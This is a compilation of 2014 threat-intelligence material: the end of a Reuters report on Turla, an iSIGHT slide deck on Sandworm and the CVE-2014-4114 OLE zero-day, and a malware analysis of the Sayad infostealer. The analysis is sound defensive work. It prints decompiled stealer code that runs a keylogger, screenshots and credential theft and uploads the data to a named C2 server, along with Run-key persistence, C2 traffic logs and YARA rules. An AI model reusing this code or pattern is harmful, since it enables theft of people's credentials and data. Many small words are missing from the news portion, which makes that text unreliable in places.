CHASING TURLA Although computer security researchers have been quietly studying Turla for more than two years, public discussions threat only began after Data published its report. Data spokesman Eddy Willems declined name any victims identify the author the report, saying the firm concerned the group behind Turla might attempt harm him. Jaime Blasco, director AlienVault Labs, said that Turla was more "framework" for espionage than simply malware. The malware "root kit" that hides the presence the spying operation and also creates hidden, encrypted file system store stolen data and tools used the attackers, said. Those tools include password stealers, tiny programs for gathering information about the system and document stealers. The operators can download specialized tools onto infected system, adding any functionality they want including the encrypted file system, Blasco said. They have used dozens different "command and control" servers located countries around the world control infected systems, according Symantec, whose researchers have helped identify and shut down some those systems. Researchers say Turla's code regularly updated, including changes avoid detection anti- virus companies detect strains. BAE said had two samples created January 2014. Chien said that some cases when command and control server was taken offline, Turla's operators have quickly pushed out new versions the malware that directed infected computers new command and control servers. "They have super active development team," said. (Additional reporting Jan Strouhal Prague, Marcin Goeetig Warsaw, Guy Faulconbridge London, Zoran Radosavljevic Zagreb, Gwladys Fouche Oslo, Matthias Williams Bucharest, Gabriela Baczynska Moscow, Alexandra Hudson Berlin, Johan Sennero Stockholm, Phil Stewart Washington; Editing Richard Valdmanis Ralph Boulton) Thomson Reuters 2014. All rights reserved. Users may download and print extracts content from this website for their own personal and non- commercial use only. Republication redistribution Thomson Reuters content, including framing similar means, expressly prohibited without the prior written consent Thomson Reuters. Thomson Reuters and its logo are registered trademarks trademarks the Thomson Reuters group companies around the world. Thomson Reuters journalists are subject Editorial Handbook which requires fair presentation and disclosure relevant interests. This copy for your personal, non- commercial use only. order presentation- ready copies for distribution colleagues, clients customers, use the Reprints tool the top any article visit: www.reutersreprints.com. Russian Cyber Espionage Campaign - Sandworm Team Microsoft Windows Zero-day Targeting NATO, EU, Telecom and Energy Sectors CVE 2014 - 4114 An iSIGHT Partners Overview Proprietary and Confidential Information. Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved www.isightpartners.com Key Points Sandworm Campaign Cyber Espionage Campaign attributed to Russia Targeting includes NATO Ukraine Poland European Union European Telecommunications Energy Sector Attribution to one of 5 active Russian intrusion teams monitored by iSIGHT Partners Sandworm Team Named for its affinity for/coded references to science fiction series Dune Campaign partially detailed by researchers at F-Secure and ESET captured only a small component of targeting and missed critical elements Utilizing Zero-day flaw in Microsoft Windows (CVE-2014-4114) Spear-phishing campaign using weaponized Microsoft Office documents Visibility into multiple PowerPoint lures Impacts all versions of Windows from Vista to 8.1 Windows Server 2008, 2012 Flaw has existed for years Zero-day nature of vulnerability leads to conclusion that intrusion efforts were highly effective Close collaboration between iSIGHT Partners and Microsoft - patch is being released on Tuesday, October 14th Proprietary and Confidential Information. Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved www.isightpartners.com Sandworm Campaign - Timeline of Events Monitoring Sandworm Team from late 2013 and throughout 2014 Genesis of team dates to as early as 2009 Increased activity throughout 2014 Visibility into this specific campaign began in December of 2013 NATO alliance targeted as early as December 2013 GlobeSec attendees targeted in May 2014 June 2014 Western European government agency Polish energy firm targeted using CVE-2013-3906 BlackEnergy variant configured with Base64-encoded reference to French telecommunications firm Zero-day artifacts captured late August/early September (CVE-2014-4114) Spear-phishing email and exploit targeting Ukranian government Coinciding with NATO summit on Ukraine in Wales At least one US organization fell victim think tank/academia iSIGHT Partners labs team discovered use of zero-day vulnerability on September 3, 2014 Immediately notified targeted parties, clients across multiple government and private sector domains Began working with Microsoft on September 5, 2014 Provided technical analysis of vulnerability and the malware used to exploit it Coordinated tracking of campaign Monitoring for broader targeting and victimization Monitoring for broader use of zero-day exploit in the wild Purposely timing disclosure to coincide with the release of the patch Minimizes potential for copy-cat exploit creation Limits exposure to a broad reaching, severe vulnerability Proprietary and Confidential Information. Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved www.isightpartners.com Sandworm Campaign - Timeline of Events 2009 2013 2014 Purposely timed disclosure to coincide w/MSFT patch release Late 2013 and throughout 2014 Genesis of Sand Worm Team dates to as early as 2009 Monitoring of Sand Worm Team Traced to 2009 Increased activity throughout 2014 May 2014 June 2014 GlobeSec attendees targeted Western European government agency Polish energy firm targeted (CVE-2013-3906) BlackEnergy variant w/Base64-encoded reference to French telecomm firm Minimizes potential for copy-cat exploit creation Limits exposure to a broad reaching, severe vulnerability Timeline September 2014 Zero-day artifacts captured (CVE-2014-4114) Spear-phishing email/exploit targeting Ukrainian government Coinciding with NATO summit on Ukraine in Wales At least one US org fell victim (think tank/academia September 3, 2014 September 5, 2014 iSIGHT Partners labs discovers zero-day vulnerability Immediately notified targeted parties and clients across government and private sector domains Began working with Microsoft Provided technical analysis of vulnerability and malware used in exploit Coordinated tracking of campaign Monitoring for broader targeting and victimization Monitoring for broader use of zero-day exploit in the wild Proprietary and Confidential Information. Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved www.isightpartners.com Sandworm Campaign - Visible Targets Poland NATO Sand Worm Team Ukraine France Known Targets Government Academic NATO Energy Telecom Proprietary and Confidential Information. Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved www.isightpartners.com Sandworm Campaign - Spearfishing Lures Spear-phishing attachment GlobeSec Forum on Russia Diplomacy spear-phishing attachment Proprietary and Confidential Information. Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved Energy spear-phishing attachment, specifically crafted for Polish audience www.isightpartners.com Zero-day spear-phishing attachment, purported list of Russian sympathizers/ terrorist actors Sandworm Campaign - Attribution Russian Cyber Espionage Marked increase in cyber espionage activities linked to Russia Russia is increasing its cyber-espionage focus and the volume is up in 2014 iSIGHT recently detailed activities of Tsar Team Mobile malware targeting multiple platforms Android, Windows, IOS Targets include Foreign militaries Defense contractors Ministries of foreign affairs News organizations NGOs and multilaterals Jihadists iSIGHT Partners believes Sandworm Team has Russian origins based on several factors: Files retrieved from an open directory on a command and control server included a directory listing in Russian and a help file for the BlackEnergy Trojan also written in Russian Known targeting is consistent with antagonists to NATO as well as Ukrainian and European Union governments. Sandworm is one of 5 active cyber intrusion teams linked to Russia being monitored by iSIGHT Partners Activities date back as far as 2009 Identified through overlapping infrastructure, use of traditional crimeware, unique references to Dune Team has an affinity for using traditional cyber crime tools as a component of its activities BlackEnergy malware Used at least 2 versions of BlackEnergy BlackEnergy 2 traditional crimeware BlackEnergy 3 (Lite) No documented use in crime may have been purpose built for Sandworm Samples tied on basis of configuration to same combination of internal proxies Up to 7 proxies in common Proprietary and Confidential Information. Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved Social engineering is designed to appeal to personnel involved in military and intelligence operations against Russia such as a list of proRussian terrorists sent in an email. BlackEnergy source code was released through Russian e-crime channels. www.isightpartners.com List of Purported pro-Russian Terrorists Cyber Espionage, Cyber Crime and Hacktivism Blurring of Lines in Russia Growing trend of blurred lines across cyber threat domains Not just in Russia but more pronounced here recently Russian overlap Links between criminal activity and cyber espionage activity is not uncommon Tools Talent Some examples Zeus used in massive espionage campaign against US Government in 2008 and again in 2012 Pro-Russian hacktivism used BlackEnergy in the past during Georgian conflict Russians allegedly contracted a cyber crime actor in Georbot campaign against Georgia Attributed to Eshkinkot Russian national named Vladimir A. Lenskij Georgie CERT claimed to have captured e-mail messages and docs from Russian handlers Instructing on how to use malware to record audio Capture screen shots Exfiltrate data TEMP.Noble (another Russian intrusion actor monitored by iSIGHT) Sensitive source indicates that malware components were developed through for hire cyber crime forum BlackEnergy Criminal actors Sandworm Team Proprietary and Confidential Information. Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved www.isightpartners.com Details - Microsoft Windows Zero Day CVE 2014 4114 Affects all supported versions of Microsoft Windows Windows Vista x64 Service Pack 2 Windows Vista Service Pack 2 Windows Server 2008 R2 x6 Service pack 1 Windows Server 2008 Services Pack 2 Windows Sever 2008 x64 Service Pack 2 Windows Server 2012 Windows Server 2012 R2 Windows 7 Service pack 1 Windows 7 x64 Service Pack 1 Windows 8 x64 Windows 8 Windows 8.1 x64 Windows 8.1 Windows RT Windows RT 8.1 Exposed, dangerous method vulnerability Does not appear to affect Windows XP Proprietary and Confidential Information. Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved OLE package manager in Microsoft Windows and Server Vulnerability allows an attacker to remotely execute arbitrary code Windows allows OLE packager (packager .dll) to download and execute INF files In case of observed exploit, specifically when handling Microsoft PowerPoint files: Packager allows a Package OLE object to reference arbitrary external files (such as INF) from untrusted sources Causes referenced files to be downloaded and executed with specific commands Attacker can exploit to execute arbitrary code Needs specifically crafted file and social engineering methods to convince user to open www.isightpartners.com Collaboration with Microsoft iSIGHT Partners follows Responsible disclosure procedures Targeted entities Government and Law Enforcement Impacted Software vendor(s) Disclosed identification of zero-day 2 days after analysis Began immediate collaboration with Microsoft Microsoft Supporting development of a patch Tracking utilization of the vulnerability in the wild Timed disclosure to minimize the potential for broader victimization Patch ready for release Tuesday, October 14th Break in case of emergency plan in place for past 5 weeks Trigger: Broader propagation of malware targeting vulnerability Trigger: Evidence of broader victimization Proprietary and Confidential Information. Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved www.isightpartners.com Workarounds - Microsoft Windows Zero Day CVE 2014 4114 Disable the WebClient Service Impact Block TCP ports 139 and 445 Impact Web Disributed Authoring and Versioning (WebDAV) requests are not transmitted Any service depending on Web Client service will not start Ports 139 and 445 are used for additional services including Common Internet File System (CIFS), DNS Administration, NetBT service sessions, printer sharing sessions and more Disabling could affect functionality of those services Block launching of Executables via Setup Information Files Impact Applications that rely on the use of .INF file to execute an installer application may not automatically execute Proprietary and Confidential Information. Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved www.isightpartners.com Sayad (Flying Kitten) Infostealer is this the work of the Iranian Ajax Security Team? Information stealing malware has become increasingly popular among malware authors targeting not just typical end-users, but also specific organizations and states. We have come across an intriguing piece of malware (dubbed Sayad) that implements multiple host data collection methods and wraps them up into a single .NET DLL. Sayad malware is typically distributed through phishing emails. Introduction This week I got hold of a sample of Sayad , so I ran it through our Vinsula Execution Engine (VEE) to find out what it does and how it works. Credit for sharing the sample of the malware goes to @MalwareChannel. The information this malware is able to steal and upload to a Web server controlled by the hackers is highly sensitive and would have an enormous impact on compromised individuals, businesses, and governments. Some of the tasks Sayad is designed to accomplish include: Get and send host system information, including: Host computer name Internal and external IPs Languages installed User name Running processes Open ports Capture and record keystrokes through a user mode key logger Periodically capture information stored in the clipboard Collect and transfer user information for FTP Clients FileZilla and WinSCP Get data account information for FileZilla FTP Server Transfer Kerio VPN client user configuration files Collect and transfer bookmarks for Chrome, Firefox, Internet Explorer, and Opera Steal browser cookies for Chrome, Firefox, Internet Explorer, and Opera Collect and transfer history for Chrome, Firefox, Internet Explorer, and Opera Capture any registered proxies Get and transfer the start URL for each installed browser Collect and transfer chat history for Skype, Yahoo Messenger, Pidgin, and GTalk Steal RDP, Putty accounts Collect VPN related account information for Proxifier and WinVPN Determine if the currently logged on user is running as admin At the time of writing of this post, the detection rate for Sayad malware binary (SHA2:8904836017bc20972a769f8d4d6bee08388da3d0f83e362e67f9f0b6b1ae5c12) at VirusTotal is zero. There are several interesting aspects of Sayad malware, and after running the malicious executable through the Vinsula Execution Engine to analyze its behavior, I discovered that the initial executable titled WEXTRACT.exe (SHA1:1c52b749403d3f229636f07b0040eb17beba28e4) was in fact a self extracting EXE that dropped and launched the Binder executable malware, ~8f60957b3689075fa093b047242c0255.exe (SHA1:69fd05ca3a7514ea79480d1dbb358fab391e738d). Once the Binder executable malware is launched, it checks the .NET version installed on the machine and drops the information stealer DLL component, Sayad (aka Client) DiagnosticsService.dll (SHA1:8521eefbf7336df5c275c3da4b61c94062fafdda). Sayad has some characteristics that make it unique: Sayad has been designed by someone who seems to have a .NET OOP/OOD background It uses some non-traditional methods for native to .NET interop like exporting a manged API through the native Export Address Table The malware uses an oversimplified form of obfuscation for string utilizing Base64 encoding which in fact can be easily de-obfuscated Our collegues from NCC Group s Cyber Defence Operations published an article titled A new Flying Kitten? with some details around Sayad malware and its possible link to the activities of the Iranian hacking group Ajax Security Team. Attack Overview The diagram below outlines the key elements of the attack. The malware executable is delivered by a phishing email or the user is somehow tricked into downloading it and executing it. Once the user clicks on the malware, it extracts the actual malware executable and launches it. Analysis Our first step was to run the Sayad binary through our Vinsula Execution Engine to find out just what it does. The process tree below as reported by our engine allows us to visually present the parent/child relationship between all the processes and their command lines related to the execution for this specific malware. explorer.exe [Process Id: 140] + WEXTRACT.exe [Process Id: 3508] + ~8f60957b3689075fa093b047242c0255.exe [Process Id: 2544] + rundll32.exe [Process Id: 2596] Cmd line: rundll32.exe "DiagnosticsService.dll",78121 + csc.exe [Process Id: 2672] + cvtres.exe [Process Id: 256] + csc.exe [Process Id: 3548] + cvtres.exe [Process Id: 3280] For the sake of shortness, in this post we omit the command line details in the process tree above for the csc.exe and cvtres.exe instances. For the same reason, we also don t show the complete command line of the rundll32.exe. Because this is an important detail, here is how it shows up in our Vinsula malware report: rundll32.exe C:\Users\[User]\AppData\Roaming\Client\DiagnosticsService.dll ,78121 Sayad malware is a self-contained executable that embeds within itself all the required malicious components, meaning that it doesn t need to download any additional malicious content from the C2 server, which may appear suspicious. Its three core components are structured as Russian Dolls, i.e., one wrapped within the next in layers. Here is the list with the key components starting from the outermost one. Hashes of all investigated components are provided at the end of this post. Self-extracting executable (WEXTRACT.exe) Binder (~8f60957b3689075fa093b047242c0255.exe) Client (DiagnosticsService.dll) Further down, I will go into greater detail and provide more information about the behavior and static building blocks of each of these components. For now, I am just aiming to capture the scope of each executable involved in the orchestration of the Sayad malware. As we can see in the cascade tree above, the main malware WEXTRACT.exe is a self-extracting executable which extracts the Binder ~8f60957b3689075fa093b047242c0255.exe, and it then launches it. The Binder is responsible for checking the installed .NET version and extracting the relevant .NET Client DiagnosticsService.dll. This .NET DLL implements the data collecting logic and sends the collected data to the C2 server. The following diagram captures a bit more of the detail of the malware workflow. The main self-extracting binary WEXTRACT.exe drops two files in the user s appdata temp directory as shown in the following entries from our Vinsula report. These two files are the two parts of the Binder a .NET executable (~8f60957b3689075fa093b047242c0255.exe) and its configuration file (~8f60957b3689075fa093b047242c0255.exe.config). Details along with snippets from Binder s source code are provided in the next sections. + WEXTRACT.exe [Process Id: 3508] Create[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe] Delete[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe] Open[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe] Write[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe] Create[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe.config] Delete[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe.config] Open[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe.config] Write[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe.config] Here is the hashes of the Binder: Filename : ~8f60957b3689075fa093b047242c0255.exe MD5 : 72641dedb31280b78bf6a0f184ef29b6 SHA1 : 69fd05ca3a7514ea79480d1dbb358fab391e738d This is what the two files dropped by the self-extracting malware look like in Windows Explorer. They are stored in a temporary location C:\Users\[User]\AppData\Local\Temp\IXP000.TMP. After dropping the Binder and its configuration file, the main self-extracting binary launches the Binder (~8f60957b3689075fa093b047242c0255.exe). Similar to the process tree from our Vinsula report above, the below screenshot from Process Explorer shows the Binder being launched by the self-extracting binary. The purpose of the Binder is to create and drop the core malware component (also titled Client DiagnosticsService.dll) and its configuration disguised as a DLL file, base.dll. Below is a snippet from our Vinsula report capturing the relevant event entries that show the Client and its configuration being created. + WEXTRACT.exe [Process Id: 3508] + ~8f60957b3689075fa093b047242c0255.exe [Process Id: 2544] Create [C:\Users\[User]\AppData\Roaming\Client\base.dll] Write [C:\Users\[User]\AppData\Roaming\Client\base.dll] Create [C:\Users\ [User]\AppData\Roaming\Client\DiagnosticsService.dll] Write [C:\Users\ [User]\AppData\Roaming\Client\DiagnosticsService.dll] These are the hashes of the two core Client related files: Filename : DiagnosticsService.dll MD5 : 432a79f8f1402cb2622b27e26e900d55 SHA1 : 8521eefbf7336df5c275c3da4b61c94062fafdda Filename : base.dll MD5 : 4a67b19c02d5cfdebcd85b7395d09881 SHA1 : 082da03918039125dcf1f096a13ffa9ab6a56bde Before digging into the details of the Client, lets have a look at the Binder (~8f60957b3689075fa093b047242c0255.exe) implementation. The Binder is a .NET executable whose purpose is to find out what version of .NET is currently installed, and then drop the relevant .NET Client DLL accordingly. There are two versions of the Client DLL that are stored as embedded resources in Binder executable. That makes the malware less chattier and allows it to drop the correct .NET version DLL without the need to download it from a malicious Web location. As shown in the above screenshot, in the Binder s main entry point, the Sayad malware: gets the installed .NET versions modifies the registry so that it will run at startup using rundll32.exe Windows utility to load the Client (DiagnosticsService.dll) extracts the relevant .NET Client version from the embedded resource depending on the installed .NET version, it copies the Client (CopySayad method) to a user s directory extract the configuration information from the end of the Binder s image using the method ReadExtraDataFromEndOfBuffer starts up the Client using the command rundll32.exe C:\Users\ [User]\AppData\Roaming\Client\DiagnosticsService.dll ,7812 The following diagram reflects the code paths in Binder s Main entry point as described in the section above. The Binder ensures that the malware will survive reboots by registering the command for loading and executing the Client DLL (DiagnosticsService.dll) to run at startup as shown below. The following shows the registry modification that comes as a result of the executing the code above. And here is the corresponding registry modification entries from Vinsula s report. More on the details regarding the rundll32.exe command will be provided in the following sections. + WEXTRACT.exe [Process Id: 3508] + ~8f60957b3689075fa093b047242c0255.exe [Process Id: 2544] Set Key:HKCU\Software\Microsoft\Windows\CurrentVersion\Run Name:DiagnosticsService Value:rundll32.exe "C:\[Path omitted]\DiagnosticsService.dll",78121 + rundll32.exe [Process Id: 2596] Command: rundll32.exe "DiagnosticsService.dll",78121 Set Key:HKCU\Software\Microsoft\Windows\CurrentVersion\Run Name:78121 Value:rundll32.exe "C:\Windows\system32\rundll32.exe",78121 An interesting aspect of the implementation of the Binder assembly is the way the malware authors decided to launch the Client by executing the command rundll32.exe DiagnosticsService.dll ,7812 and utilizing WinExec API to launch the rundll32.exe process as shown below. The WinExec API has been provided only for backward compatibility with 16-bit Windows. A quick Googling of the method names of the two methods FromUrlSafeBase64String ToUrlSafeBase64String from the Base64.cs file shows that the code has been copied from the following stackoverflow post .NET MVC Routing w/ Url Encoding Problems . The following screenshot shows the Binder project in Visual Studio. As previously mentioned, the Binder extracts the relevant Client DLL according to the installed .NET version. There are two copies of the Client DLL, targeting .NET2 and .NET4, both stored as embedded resources inside the Binder file image. The Binder is also responsible for extracting the configuration data located at the end of the Binder s file image and storing it in the base.dll file. The configuration data is stored as plain text and Base64 encoded data and holds following configuration attributes: BuildId a unique GUID that identifies the build of the malware. For this sample the GUID value is {e5aac039-cf4a-4b1d-9507-df7001ee2637} PublicKey this is a RSA public key used for encrypting the collected data being uploaded to the malicious Web site hxxp://0o0o0o0o0.com PostURL this is a URL and it is used for uploading collected data to the malicious Web site hxxp://0o0o0o0o0.com/soft.php ResourceURL a URL that the malware uses to download sqllite3.dll ScreenShotCount determines how many consecutive screenshots need to be taken each time ScreenShotInterval indicates how frequently the screenshots will be taken StartupScreenshot determines whether to take a screenshot at startup time Here is a sample configuration file base.dll The most interesting aspect of this malware is surely the Sayad Client (DiagnosticsService.dll). The malware authors decided to implement the core data collection and transmission into a single .NET DLL. Typically, unknown .NET DLLs do not look as suspicious as a native Win32 DLL or an executable. Also, a DLL requires an executable to load it in order to execute any code implemented by the DLL. Sayad leverages rundll32.exe, which is a shell that allows the loading of 32-bit DLLs and the execution of exported APIs. Basically, Sayad Client is a 32-bit .NET DLL. Rundll32.exe would be able to load Sayad Client DLL, but as it is a .NET managed DLL it doesn t support exporting of native unmanaged APIs, thus Rundll32.exe cannot execute any of the .NET/C# public methods implemented in the Sayad Client DLL. Going back to the malware process tree we can see that Binder launches the following command, which is instructing Windows utility rundll32.exe to load Sayad Client DiagnosticsService.dll, obtain the function address of the native API named 78121 via GetProcAddress(), and call the function pointer of the entry point 78121 rundll32.exe "C:\Users\ [User]\AppData\Roaming\Client\DiagnosticsService.dll",78121 Microsoft C# compiler does not support interop via the export of unmanaged native APIs from within a .NET/C# DLL. However, if we open Sayad Client DLL it is clear that the DLL does export a native unmanaged API function titled 78121 How have the malware authors managed to export a native API from a C# DLL? Although not supported by Microsoft, this is not impossible if after building the executable, the MSIL is modified to map a managed static method to the name of a native unmanaged API and then export the API so that it appears in the Export Address Table of the managed PE (Portable Executable) image. In this case, a static method Main() of Program class located in Program.cs of the Sayad Client DLL (DiagnosticsService.dll) maps to the native API 78121 . As shown below, a special declaration is applied to ensure that the caller (rundll32.exe) executes a method matching the required __stdcall calling convention. Here is the MSIL of the static Main() method. And below is the corresponding disassmebled C# version. Sayad Client DLL s main entry point initializes and starts up all data collection methods that the assembly implements. The code below is executed by using the command rundll32.exe C:\Users\ [User]\AppData\Roaming\Client\DiagnosticsService.dll ,7812 The malware authors left some debugging messages that indicate the different stages of the Sayad Client initialization. The code also handles and collects all uncaught exceptions thrown during the execution of the malware by attaching to AppDomain.UnhandledException and Application.ThreadException events. In the next step, the client loads the configuration discussed in a previous section and then proceeds to start up all data collection components, as shown in the snippet below. private static void modopt(CallConvStdcall) Main() Application.SetUnhandledExceptionMode( UnhandledExceptionMode.CatchException); AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler( Program.TotalExceptionHandler); Application.ThreadException += new ThreadExceptionEventHandler( Program.TotalExceptionHandler); bool flag3; ClientExceptions = new List(); _uploadQuque = new UploadQueue(); string path = CommonPath.ClientPath() + Path.DirectorySeparatorChar + "base.dll"; while (!File.Exists(path)) Thread.Sleep(int.Parse(Resources.ShortSleepTime)); Debug.Write("Config loaded"); string[] strArray = File.ReadAllLines(path); ExecutableConfigInfo info2 = new ExecutableConfigInfo { BuildId = strArray[0].Trim(), PublicKey = strArray[1].Trim(), PostURL = strArray[2].Trim(), ResourceURL = strArray[3].Trim(), screenShotCount = strArray[4].Trim(), screenShotInterval = strArray[5].Trim(), startupScreenShot = strArray[6].Trim() _configInfo = info2; if (!string.IsNullOrEmpty(_configInfo.PostURL)) Uri uri = new Uri(_configInfo.PostURL); _hostAddress = uri.OriginalString.Replace( uri.AbsolutePath, ""); catch return; CryptionKeyInfo info3 = new CryptionKeyInfo { KeySize = int.Parse(Resources.RSAKeySize), PublicKey = _configInfo.PublicKey _keyInfo = info3; Debug.Write("Config parsed"); if (!string.IsNullOrEmpty(_hostAddress)) new Wiper(new Http(), _hostAddress, _configInfo.BuildId).StartWiper(); Debug.Write(string.Format("wiper {0}", _hostAddress)); new StorageUploader(new Http(), _configInfo.PostURL, _configInfo.BuildId).StartUploader(); Debug.Write("storage uploader"); new Updater(new Http(), _hostAddress, _configInfo.BuildId).StartUpdater(); Debug.Write("updater"); int keyLogLimitSize = int.Parse( Resources.KeyloggerLogLimitSize); new Thread(delegate { KeyLoggerProc(new Http(), keyLogLimitSize); }).Start(); Debug.Write("keylogger"); int screenshotCount = int.Parse( _configInfo.screenShotCount); int screenshotInterval = int.Parse( _configInfo.screenShotInterval); new Thread(delegate { ScreenShotProc(new Http(), screenshotInterval, screenshotCount); }).Start(); Debug.Write("Screenshot"); Debug.Write(_configInfo.ResourceURL); if (SQLiteFinder.FindSqlite(_configInfo.ResourceURL)) Debug.Write("sqlite found & start collectiong data"); SerializeModel dataToSerialize = NewSerializerModel(); dataToSerialize.MachineInfo = new MachineInfo().GetMachineInfo(); Debug.Write("Machine info collected"); List list = new List { new Chrome(), new Firefox(), new Opera() foreach (IBrowser browser in list) dataToSerialize.BrowsersInfo.Add( browser.GetBrowserInfo()); Debug.Write("browser ok"); List list2 = new List { new Pidgin(), new YahooMessenger(), new Gtalk() foreach (IMessenger messenger in list2) dataToSerialize.MessengersInfo.Add( messenger.GetMessengerInfo()); Debug.Write("messenger ok"); List list3 = new List { new Proxifier() foreach (IVpn vpn in list3) dataToSerialize.VpNsInfo.Add(vpn.GetClientInfo()); Debug.Write("vpn ok"); List list4 = new List { new FilezillaClient(), new Winscp() foreach (IFtpClient client in list4) dataToSerialize.FtpClientsInfo.Add( client.GetFtpClientInfo()); Debug.Write("ftp client ok"); List list5 = new List { new FilezillaServer() foreach (IFtpServer server in list5) dataToSerialize.FtpManagementsInfo.Add( server.GetFtpServerInfo()); Debug.Write("ftp server ok"); List list6 = new List { new Putty(), new RemoteDesktop() foreach (IRemoteClient client2 in list6) dataToSerialize.RemoteClientsInfo.Add( client2.GetRemoteClientsInfo()); Debug.Write("rdp ok"); List list7 = new List { new Kerio() foreach (IFileCollector collector in list7) dataToSerialize.ExtraFiles.Add(collector.GetFile()); Debug.Write("kerio ok"); string[] skypeDatabases = Skype.GetSkypeDatabases(); foreach (string str2 in skypeDatabases) string destFileName = Path.Combine( Path.GetTempPath(), Path.GetFileName(str2)); File.Copy(str2, destFileName); if (File.Exists(destFileName)) DirectoryInfo parent = new DirectoryInfo(str2).Parent; if ((parent != null) && File.Exists(destFileName)) ExtraFileSerializeModel item = new ExtraFileSerializeModel { Name = Resources.SkypePathName, Description = parent.Name, Data = File.ReadAllBytes(destFileName) dataToSerialize.ExtraFiles.Add(item); File.Delete(destFileName); Debug.Write("skype ok"); byte[] bytetoEncrypt = ModelSerializer.SerializeAndCompress( dataToSerialize); Debug.Write("serialize data ok"); byte[] buffer = EncryptBuffer(bytetoEncrypt, _keyInfo); Http http = new Http(); if (!http.UploadBuffer(buffer, _configInfo.BuildId, _configInfo.PostURL)) File.WriteAllBytes( Path.Combine(CommonPath.ClientStorage(), Path.GetRandomFileName()), buffer); string startupKeyName = Resources.StartupKeyName; if (!Startup.CheckStartup(startupKeyName)) Startup.SetStartup(startupKeyName, Application.ExecutablePath); goto Label_07DD; Label_07D4: Thread.Sleep(-1); Label_07DD: flag3 = true; goto Label_07D4; catch (Exception exception) AddExceptionToExceptionList(exception); The Sayad Client uses a very trivial method for uploading the encrypted user and host data to the malicious server. Here is the UploadBuffer method that uses .NET WebClient class to upload the data. Both the Binder and the Sayad Client have been built with debugging information which reveals some details about the source code locations for these two .NET projects. f:\Projects\C#\Sayad\Source\Binder\obj\Debug\Binder.pdb F:\Projects\C#\Sayad\Source\Client\bin\x86\Debug\Client.pdb Network Activity Communication with the C2 server is limited to transferring collected data from the user and the host to the C2 server. The stolen data being uploaded to the malicious server is encrypted first using a RSA public key which is stored in the malware configuration file. The Sayad Client (DiagnosticsService.dll) implements an HTTP client that uploads the encrypted data to the malicious Web server with host name 0o0o0o0o0[dot]com and IP address 107.6.182.179. The Binder component doesn t implement any communication features. The following is a short segment from Vinsula network activity report. + WEXTRACT.exe [Process Id: 3508] + ~8f60957b3689075fa093b047242c0255.exe [Process Id: 2544] + rundll32.exe [Process Id: 2596] [Parent Id: 2544] Command Line: rundll32.exe "DiagnosticsService.dll",78121 TCP IPv4 UNKNOWN 192.168.64.167:1325 <==> 107.6.182.179:80 TCP IPv4 UNKNOWN 192.168.64.167:1326 <==> 107.6.182.179:80 TCP IPv4 send 192.168.64.167:1326 ==> 107.6.182.179:80 TCP IPv4 send 192.168.64.167:1325 ==> 107.6.182.179:80 TCP IPv4 recv 192.168.64.167:1326 <== 107.6.182.179:80 TCP IPv4 recv 192.168.64.167:1325 <== 107.6.182.179:80 TCP IPv4 UNKNOWN 192.168.64.167:1327 <==> 107.6.182.179:80 TCP IPv4 send 192.168.64.167:1327 TCP IPv4 recv 192.168.64.167:1327 <== TCP IPv4 UNKNOWN 192.168.64.167:1328 <==> 107.6.182.179:80 TCP IPv4 UNKNOWN 192.168.64.167:1329 <==> 107.6.182.179:80 TCP IPv4 send 192.168.64.167:1328 ==> 107.6.182.179:80 TCP IPv4 send 192.168.64.167:1329 ==> 107.6.182.179:80 TCP IPv4 recv 192.168.64.167:1328 <== 107.6.182.179:80 TCP IPv4 recv 192.168.64.167:1329 <== 107.6.182.179:80 TCP IPv4 UNKNOWN 192.168.64.167:1330 <==> 107.6.182.179:80 TCP IPv4 UNKNOWN 192.168.64.167:1331 <==> 107.6.182.179:80 TCP IPv4 send 192.168.64.167:1330 ==> 107.6.182.179:80 107.6.182.179:80 ==> 107.6.182.179:80 According to the http://www.ipligence.com/geolocation service, the malicious Web server is located in the Netherlands. Below is the WHOIS information for the malicious host 0o0o0o0o0[dot]com (IP 107.6.182.179). The domain was registered on June 30, 2014. Interestingly, the registrant, admin and tech email addresses are domain@microsofts.com. One wonders if the registrar, OnlineNIC, Inc, is verifying whether or not these are real email addresses. YARA detection rule Based on the details that have been identified, we can create two simple YARA rules for detection of the Sayad Binder and Sayad Client. Hopefully this will help other malware researchers and security companies. rule Vinsula_Sayad_Binder : infostealer meta: copyright = "Vinsula, Inc" description = "Sayad Infostealer Binder" version = "1.0" actor = "Sayad Binder" in_the_wild = true strings: $pdbstr = "\\Projects\\C#\\Sayad\\Source\\Binder\\obj\\Debug\\Binder.pdb" $delphinativestr = "DelphiNative.dll" nocase $sqlite3str = "sqlite3.dll" nocase $winexecstr = "WinExec" $sayadconfig = "base.dll" wide condition: all of them rule Vinsula_Sayad_Client : infostealer meta: copyright = "Vinsula, Inc" description = "Sayad Infostealer Client" version = "1.0" actor = "Sayad Client" in_the_wild = true strings: $pdbstr = "\\Projects\\C#\\Sayad\\Source\\Client\\bin\\x86\\Debug\\Client.pdb" $sayadconfig = "base.dll" wide $sqlite3str = "sqlite3.dll" nocase $debugstr01 = "Config loaded" wide $debugstr02 = "Config parsed" wide $debugstr03 = "storage uploader" wide $debugstr04 = "updater" wide $debugstr05 = "keylogger" wide $debugstr06 = "Screenshot" wide $debugstr07 = "sqlite 